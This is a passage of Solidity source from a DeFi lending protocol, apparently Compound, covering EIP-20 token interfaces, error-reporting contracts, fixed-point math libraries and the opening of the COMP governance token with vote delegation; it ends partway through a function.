* https://eips.ethereum.org/EIPS/eip-20
*/
interface EIP20Interface {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external returns (bool success);
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external returns (bool success);
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.16;
/**
* @title EIP20NonStandardInterface
* @dev Version of ERC20 with no return values for `transfer` and `transferFrom`
* See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca
*/
interface EIP20NonStandardInterface {
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/**
* @notice Gets the balance of the specified address
* @param owner The address from which the balance will be retrieved
* @return The balance
*/
function balanceOf(address owner) external view returns (uint256 balance);
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transfer(address dst, uint256 amount) external;
///
/// !!!!!!!!!!!!!!
/// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification
/// !!!!!!!!!!!!!!
///
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
*/
function transferFrom(address src, address dst, uint256 amount) external;
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external returns (bool success);
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent
*/
function allowance(address owner, address spender) external view returns (uint256 remaining);
event Transfer(address indexed from, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 amount);
}
pragma solidity ^0.5.16;
contract ComptrollerErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
COMPTROLLER_MISMATCH,
INSUFFICIENT_SHORTFALL,
INSUFFICIENT_LIQUIDITY,
INVALID_CLOSE_FACTOR,
INVALID_COLLATERAL_FACTOR,
INVALID_LIQUIDATION_INCENTIVE,
MARKET_NOT_ENTERED, // no longer possible
MARKET_NOT_LISTED,
MARKET_ALREADY_LISTED,
MATH_ERROR,
NONZERO_BORROW_BALANCE,
PRICE_ERROR,
REJECTION,
SNAPSHOT_ERROR,
TOO_MANY_ASSETS,
TOO_MUCH_REPAY
}
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK,
EXIT_MARKET_BALANCE_OWED,
EXIT_MARKET_REJECTION,
SET_CLOSE_FACTOR_OWNER_CHECK,
SET_CLOSE_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_NO_EXISTS,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COLLATERAL_FACTOR_WITHOUT_PRICE,
SET_IMPLEMENTATION_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_OWNER_CHECK,
SET_LIQUIDATION_INCENTIVE_VALIDATION,
SET_MAX_ASSETS_OWNER_CHECK,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_PENDING_IMPLEMENTATION_OWNER_CHECK,
SET_PRICE_ORACLE_OWNER_CHECK,
SUPPORT_MARKET_EXISTS,
SUPPORT_MARKET_OWNER_CHECK,
SET_PAUSE_GUARDIAN_OWNER_CHECK
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
contract TokenErrorReporter {
enum Error {
NO_ERROR,
UNAUTHORIZED,
BAD_INPUT,
COMPTROLLER_REJECTION,
COMPTROLLER_CALCULATION_ERROR,
INTEREST_RATE_MODEL_ERROR,
INVALID_ACCOUNT_PAIR,
INVALID_CLOSE_AMOUNT_REQUESTED,
INVALID_COLLATERAL_FACTOR,
MATH_ERROR,
MARKET_NOT_FRESH,
MARKET_NOT_LISTED,
TOKEN_INSUFFICIENT_ALLOWANCE,
TOKEN_INSUFFICIENT_BALANCE,
TOKEN_INSUFFICIENT_CASH,
TOKEN_TRANSFER_IN_FAILED,
TOKEN_TRANSFER_OUT_FAILED
}
/*
* Note: FailureInfo (but not Error) is kept in alphabetical order
* This is because FailureInfo grows significantly faster, and
* the order of Error has some meaning, while the order of FailureInfo
* is entirely arbitrary.
*/
enum FailureInfo {
ACCEPT_ADMIN_PENDING_ADMIN_CHECK,
ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED,
ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED,
ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED,
ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED,
BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
BORROW_ACCRUE_INTEREST_FAILED,
BORROW_CASH_NOT_AVAILABLE,
BORROW_FRESHNESS_CHECK,
BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
BORROW_MARKET_NOT_LISTED,
BORROW_COMPTROLLER_REJECTION,
LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED,
LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED,
LIQUIDATE_COLLATERAL_FRESHNESS_CHECK,
LIQUIDATE_COMPTROLLER_REJECTION,
LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED,
LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX,
LIQUIDATE_CLOSE_AMOUNT_IS_ZERO,
LIQUIDATE_FRESHNESS_CHECK,
LIQUIDATE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_REPAY_BORROW_FRESH_FAILED,
LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED,
LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED,
LIQUIDATE_SEIZE_COMPTROLLER_REJECTION,
LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER,
LIQUIDATE_SEIZE_TOO_MUCH,
MINT_ACCRUE_INTEREST_FAILED,
MINT_COMPTROLLER_REJECTION,
MINT_EXCHANGE_CALCULATION_FAILED,
MINT_EXCHANGE_RATE_READ_FAILED,
MINT_FRESHNESS_CHECK,
MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
MINT_TRANSFER_IN_FAILED,
MINT_TRANSFER_IN_NOT_POSSIBLE,
REDEEM_ACCRUE_INTEREST_FAILED,
REDEEM_COMPTROLLER_REJECTION,
REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED,
REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED,
REDEEM_EXCHANGE_RATE_READ_FAILED,
REDEEM_FRESHNESS_CHECK,
REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED,
REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED,
REDEEM_TRANSFER_OUT_NOT_POSSIBLE,
REDUCE_RESERVES_ACCRUE_INTEREST_FAILED,
REDUCE_RESERVES_ADMIN_CHECK,
REDUCE_RESERVES_CASH_NOT_AVAILABLE,
REDUCE_RESERVES_FRESH_CHECK,
REDUCE_RESERVES_VALIDATION,
REPAY_BEHALF_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCRUE_INTEREST_FAILED,
REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_COMPTROLLER_REJECTION,
REPAY_BORROW_FRESHNESS_CHECK,
REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED,
REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE,
SET_COLLATERAL_FACTOR_OWNER_CHECK,
SET_COLLATERAL_FACTOR_VALIDATION,
SET_COMPTROLLER_OWNER_CHECK,
SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED,
SET_INTEREST_RATE_MODEL_FRESH_CHECK,
SET_INTEREST_RATE_MODEL_OWNER_CHECK,
SET_MAX_ASSETS_OWNER_CHECK,
SET_ORACLE_MARKET_NOT_LISTED,
SET_PENDING_ADMIN_OWNER_CHECK,
SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED,
SET_RESERVE_FACTOR_ADMIN_CHECK,
SET_RESERVE_FACTOR_FRESH_CHECK,
SET_RESERVE_FACTOR_BOUNDS_CHECK,
TRANSFER_COMPTROLLER_REJECTION,
TRANSFER_NOT_ALLOWED,
TRANSFER_NOT_ENOUGH,
TRANSFER_TOO_MUCH,
ADD_RESERVES_ACCRUE_INTEREST_FAILED,
ADD_RESERVES_FRESH_CHECK,
ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE
}
/**
* @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary
* contract-specific code that enables us to report opaque error codes from upgradeable contracts.
**/
event Failure(uint error, uint info, uint detail);
/**
* @dev use this when reporting a known error from the money market or a non-upgradeable collaborator
*/
function fail(Error err, FailureInfo info) internal returns (uint) {
emit Failure(uint(err), uint(info), 0);
return uint(err);
}
/**
* @dev use this when reporting an opaque error from an upgradeable collaborator contract
*/
function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) {
emit Failure(uint(err), uint(info), opaqueError);
return uint(err);
}
}
pragma solidity ^0.5.16;
import "./CarefulMath.sol";
import "./ExponentialNoError.sol";
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @dev Legacy contract for compatibility reasons with existing contracts that still use MathError
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract Exponential is CarefulMath, ExponentialNoError {
/**
* @dev Creates an exponential from numerator and denominator values.
* Note: Returns an error if (`num` * 10e18) > MAX_INT,
* or if `denom` is zero.
*/
function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledNumerator) = mulUInt(num, expScale);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
(MathError err1, uint rational) = divUInt(scaledNumerator, denom);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: rational}));
}
/**
* @dev Adds two exponentials, returning a new exponential.
*/
function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = addUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Subtracts two exponentials, returning a new exponential.
*/
function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError error, uint result) = subUInt(a.mantissa, b.mantissa);
return (error, Exp({mantissa: result}));
}
/**
* @dev Multiply an Exp by a scalar, returning a new Exp.
*/
function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa}));
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(product));
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) {
(MathError err, Exp memory product) = mulScalar(a, scalar);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return addUInt(truncate(product), addend);
}
/**
* @dev Divide an Exp by a scalar, returning a new Exp.
*/
function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) {
(MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa}));
}
/**
* @dev Divide a scalar by an Exp, returning a new Exp.
*/
function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) {
/*
We are doing this as:
getExp(mulUInt(expScale, scalar), divisor.mantissa)
How it works:
Exp = a / b;
Scalar = s;
`s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale`
*/
(MathError err0, uint numerator) = mulUInt(expScale, scalar);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
return getExp(numerator, divisor.mantissa);
}
/**
* @dev Divide a scalar by an Exp, then truncate to return an unsigned integer.
*/
function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) {
(MathError err, Exp memory fraction) = divScalarByExp(scalar, divisor);
if (err != MathError.NO_ERROR) {
return (err, 0);
}
return (MathError.NO_ERROR, truncate(fraction));
}
/**
* @dev Multiplies two exponentials, returning a new exponential.
*/
function mulExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
(MathError err0, uint doubleScaledProduct) = mulUInt(a.mantissa, b.mantissa);
if (err0 != MathError.NO_ERROR) {
return (err0, Exp({mantissa: 0}));
}
// We add half the scale before dividing so that we get rounding instead of truncation.
// See "Listing 6" and text above it at https://accu.org/index.php/journals/1717
// Without this change, a result like 6.6...e-19 will be truncated to 0 instead of being rounded to 1e-18.
(MathError err1, uint doubleScaledProductWithHalfScale) = addUInt(halfExpScale, doubleScaledProduct);
if (err1 != MathError.NO_ERROR) {
return (err1, Exp({mantissa: 0}));
}
(MathError err2, uint product) = divUInt(doubleScaledProductWithHalfScale, expScale);
// The only error `div` can return is MathError.DIVISION_BY_ZERO but we control `expScale` and it is not zero.
assert(err2 == MathError.NO_ERROR);
return (MathError.NO_ERROR, Exp({mantissa: product}));
}
/**
* @dev Multiplies two exponentials given their mantissas, returning a new exponential.
*/
function mulExp(uint a, uint b) pure internal returns (MathError, Exp memory) {
return mulExp(Exp({mantissa: a}), Exp({mantissa: b}));
}
/**
* @dev Multiplies three exponentials, returning a new exponential.
*/
function mulExp3(Exp memory a, Exp memory b, Exp memory c) pure internal returns (MathError, Exp memory) {
(MathError err, Exp memory ab) = mulExp(a, b);
if (err != MathError.NO_ERROR) {
return (err, ab);
}
return mulExp(ab, c);
}
/**
* @dev Divides two exponentials, returning a new exponential.
* (a/scale) / (b/scale) = (a/scale) * (scale/b) = a/b,
* which we can scale as an Exp by calling getExp(a.mantissa, b.mantissa)
*/
function divExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) {
return getExp(a.mantissa, b.mantissa);
}
}
pragma solidity ^0.5.16;
/**
* @title Exponential module for storing fixed-precision decimals
* @author Compound
* @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places.
* Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is:
* `Exp({mantissa: 5100000000000000000})`.
*/
contract ExponentialNoError {
uint constant expScale = 1e18;
uint constant doubleScale = 1e36;
uint constant halfExpScale = expScale/2;
uint constant mantissaOne = expScale;
struct Exp {
uint mantissa;
}
struct Double {
uint mantissa;
}
/**
* @dev Truncates the given exp to a whole number value.
* For example, truncate(Exp{mantissa: 15 * expScale}) = 15
*/
function truncate(Exp memory exp) pure internal returns (uint) {
// Note: We are not using careful math here as we're performing a division that cannot fail
return exp.mantissa / expScale;
}
/**
* @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer.
*/
function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return truncate(product);
}
/**
* @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer.
*/
function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) {
Exp memory product = mul_(a, scalar);
return add_(truncate(product), addend);
}
/**
* @dev Checks if first Exp is less than second Exp.
*/
function lessThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa < right.mantissa;
}
/**
* @dev Checks if left Exp <= right Exp.
*/
function lessThanOrEqualExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa <= right.mantissa;
}
/**
* @dev Checks if left Exp > right Exp.
*/
function greaterThanExp(Exp memory left, Exp memory right) pure internal returns (bool) {
return left.mantissa > right.mantissa;
}
/**
* @dev returns true if Exp is exactly zero
*/
function isZeroExp(Exp memory value) pure internal returns (bool) {
return value.mantissa == 0;
}
function safe224(uint n, string memory errorMessage) pure internal returns (uint224) {
require(n < 2**224, errorMessage);
return uint224(n);
}
function safe32(uint n, string memory errorMessage) pure internal returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function add_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: add_(a.mantissa, b.mantissa)});
}
function add_(uint a, uint b) pure internal returns (uint) {
return add_(a, b, "addition overflow");
}
function add_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
uint c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: sub_(a.mantissa, b.mantissa)});
}
function sub_(uint a, uint b) pure internal returns (uint) {
return sub_(a, b, "subtraction underflow");
}
function sub_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b <= a, errorMessage);
return a - b;
}
function mul_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b.mantissa) / expScale});
}
function mul_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Exp memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / expScale;
}
function mul_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b.mantissa) / doubleScale});
}
function mul_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: mul_(a.mantissa, b)});
}
function mul_(uint a, Double memory b) pure internal returns (uint) {
return mul_(a, b.mantissa) / doubleScale;
}
function mul_(uint a, uint b) pure internal returns (uint) {
return mul_(a, b, "multiplication overflow");
}
function mul_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
if (a == 0 || b == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, errorMessage);
return c;
}
function div_(Exp memory a, Exp memory b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(mul_(a.mantissa, expScale), b.mantissa)});
}
function div_(Exp memory a, uint b) pure internal returns (Exp memory) {
return Exp({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Exp memory b) pure internal returns (uint) {
return div_(mul_(a, expScale), b.mantissa);
}
function div_(Double memory a, Double memory b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a.mantissa, doubleScale), b.mantissa)});
}
function div_(Double memory a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(a.mantissa, b)});
}
function div_(uint a, Double memory b) pure internal returns (uint) {
return div_(mul_(a, doubleScale), b.mantissa);
}
function div_(uint a, uint b) pure internal returns (uint) {
return div_(a, b, "divide by zero");
}
function div_(uint a, uint b, string memory errorMessage) pure internal returns (uint) {
require(b > 0, errorMessage);
return a / b;
}
function fraction(uint a, uint b) pure internal returns (Double memory) {
return Double({mantissa: div_(mul_(a, doubleScale), b)});
}
}
pragma solidity ^0.5.16;
pragma experimental ABIEncoderV2;
contract Comp {
/// @notice EIP-20 token name for this token
string public constant name = "Compound";
/// @notice EIP-20 token symbol for this token
string public constant symbol = "COMP";
/// @notice EIP-20 token decimals for this token
uint8 public constant decimals = 18;
/// @notice Total number of tokens in circulation
uint public constant totalSupply = 10000000e18; // 10 million Comp
/// @notice Allowance amounts on behalf of others
mapping (address => mapping (address => uint96)) internal allowances;
/// @notice Official record of token balances for each account
mapping (address => uint96) internal balances;
/// @notice A record of each accounts delegate
mapping (address => address) public delegates;
/// @notice A checkpoint for marking number of votes from a given block
struct Checkpoint {
uint32 fromBlock;
uint96 votes;
}
/// @notice A record of votes checkpoints for each account, by index
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// @notice The number of checkpoints for each account
mapping (address => uint32) public numCheckpoints;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the delegation struct used by the contract
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// @notice A record of states for signing / validating signatures
mapping (address => uint) public nonces;
/// @notice An event thats emitted when an account changes its delegate
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// @notice An event thats emitted when a delegate account's vote balance changes
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/// @notice The standard EIP-20 transfer event
event Transfer(address indexed from, address indexed to, uint256 amount);
/// @notice The standard EIP-20 approval event
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Construct a new Comp token
* @param account The initial account to grant all the tokens
*/
constructor(address account) public {
balances[account] = uint96(totalSupply);
emit Transfer(address(0), account, totalSupply);
}
/**
* @notice Get the number of tokens `spender` is approved to spend on behalf of `account`
* @param account The address of the account holding the funds
* @param spender The address of the account spending the funds
* @return The number of tokens approved
*/
function allowance(address account, address spender) external view returns (uint) {
return allowances[account][spender];
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param rawAmount The number of tokens that are approved (2^256-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint rawAmount) external returns (bool) {
uint96 amount;
if (rawAmount == uint(-1)) {
amount = uint96(-1);
} else {
amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
}
allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/**
* @notice Get the number of tokens held by the `account`
* @param account The address of the account to get the balance of
* @return The number of tokens held
*/
function balanceOf(address account) external view returns (uint) {
return balances[account];
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint rawAmount) external returns (bool) {
uint96 amount = safe96(rawAmount, "Comp::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param rawAmount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint rawAmount) external returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "Comp::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(-1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "Comp::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
/**
* @notice Delegate votes from `msg.sender` to `delegatee`
* @param delegatee The address to delegate votes to
*/
function delegate(address delegatee) public {
return _delegate(msg.sender, delegatee);
}
/**
* @notice Delegates votes from signatory to `delegatee`
* @param delegatee The address to delegate votes to
* @param nonce The contract state required to match the signature
* @param expiry The time at which to expire the signature
* @param v The recovery byte of the signature
* @param r Half of the ECDSA signature pair
* @param s Half of the ECDSA signature pair
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Comp::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "Comp::delegateBySig: invalid nonce");
require(now <= expiry, "Comp::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
/**
* @notice Gets the current votes balance for `account`
* @param account The address to get votes balance
* @return The number of current votes for `account`
*/
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
* @notice Determine the prior number of votes for an account as of a block number
* @dev Block number must be a finalized block or else this function will revert to prevent misinformation.
* @param account The address of the account to check
* @param blockNumber The block number to get the vote balance at
* @return The number of votes the account had as of the given block
*/
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "Comp::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = balances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "Comp::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "Comp::_transferTokens: cannot transfer to the zero address");
balances[src] = sub96(balances[src], amount, "Comp::_transferTokens: transfer amount exceeds balance");
balances[dst] = add96(balances[dst], amount, "Comp::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "Comp::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
